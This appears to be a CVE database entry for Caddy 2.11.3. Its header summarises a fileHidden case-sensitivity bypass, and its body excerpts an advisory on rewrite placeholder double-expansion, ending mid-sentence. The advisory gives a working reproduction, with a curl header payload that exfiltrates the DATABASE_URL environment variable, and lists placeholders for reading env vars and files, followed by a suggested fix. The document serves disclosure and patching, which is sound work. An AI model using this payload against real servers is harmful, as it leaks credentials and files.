CVE-2026-92700

Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/fileserver/staticfiles.go, fileHidden() uses case-sensitive filepath.Match checks, so case variants can bypass hide rules on case-insensitive filesystems or when mixed-case paths coexist and expose files intended to be hidden.

Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer

Tested against: caddy:2.11.3 (official Docker image, SHA verified at runtime) Reproduction environment: Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits

This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified caddy:2.11.3 image with the minimal Caddyfile that the documentation suggests for the affected feature.

Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure

File: modules/caddyhttp/rewrite/rewrite.go:215-249 and buildQueryString at 327 Class: CWE-94 (Code Injection), same bug class as CVE-2026-30852 (vars_regexp) Severity: Low (requires operator config with trailing ? in rewrite URI)

Root cause

When the operator's rewrite URI template:

1. Contains a placeholder that resolves to request data (e.g. {http.request.header.X-Foo}), AND
2. Ends with a literal ? (with empty query side)

…then the bytes produced by the first Replacer pass (which include attacker-controlled header values) are fed through buildQueryString, which runs a second Replacer pass and resolves any placeholders the attacker injected.

// rewrite.go (abridged)
newPath = repl.ReplaceAll(path, "")            // pass 1 — header expanded
if before, after, found := strings.Cut(newPath, "?"); found {
    var injectedQuery string
    newPath, injectedQuery = before, after
    if query == "" {                            // trailing-? branch
        query = injectedQuery                   // attacker bytes flow into 'query'
    }
}
if query != "" {
    newQuery = buildQueryString(query, repl)    // pass 2 — RE-EXPANDS attacker input
}

This is the same gadget that was patched in vars_regexp (CVE-2026-30852). The fix did not extend to rewrite, and there is no equivalent regression test for it in rewrite_test.go (compare vars_test.go:63,69,75).

Reproduction (real Caddy 2.11.3)

Caddyfile:

{
    admin off
    auto_https off
}

:8080 {
    rewrite * /serve/{http.request.header.X-Fwd}?
    respond "PATH={path} QUERY={query}"
}

docker-compose.yml:

services:
  caddy:
    image: caddy:2.11.3
    environment:
      DATABASE_URL: "postgres://leaked:supersecret@dbserver/production"
    ports: ["8080:8080"]
    volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]

Exploit:

$ docker compose up -d
$ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak

URL-decoded query: postgres://leaked:supersecret@dbserver/production=leak. The DATABASE_URL env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via reverse_proxy, and be readable via {http.request.uri.query} in any downstream handler.

Available read primitives

The same gadget exposes any placeholder the attacker can name in their injected substring:

• {env.X} — any env var on the Caddy process
• {file./path} — any file readable by the Caddy process (if file provider is registered)
• {vars.X} — Caddy-internal request variables

Suggested fix (mirrors the CVE-2026-30852 patch)

After splitting at ?, sanitize placeholder syntax in the injected query before passing it to buildQueryString:

if before, after, found := strings.Cut(newPath, "?"); found {
    var injectedQuery string
    newPath, injectedQuery = before, after
    if query == "" {
        injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B")
        injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D")
        query = injectedQuery
    }
}

Also recommend adding equivalent regression tests in…

Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/fileserver/staticfiles.go, fileHidden() uses case-sensitive filepath.Match checks, so case variants can bypass hide rules on case-insensitive filesystems or when mixed-case paths coexist and expose files intended to be hidden.

Rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass in github.com/caddyserver/caddy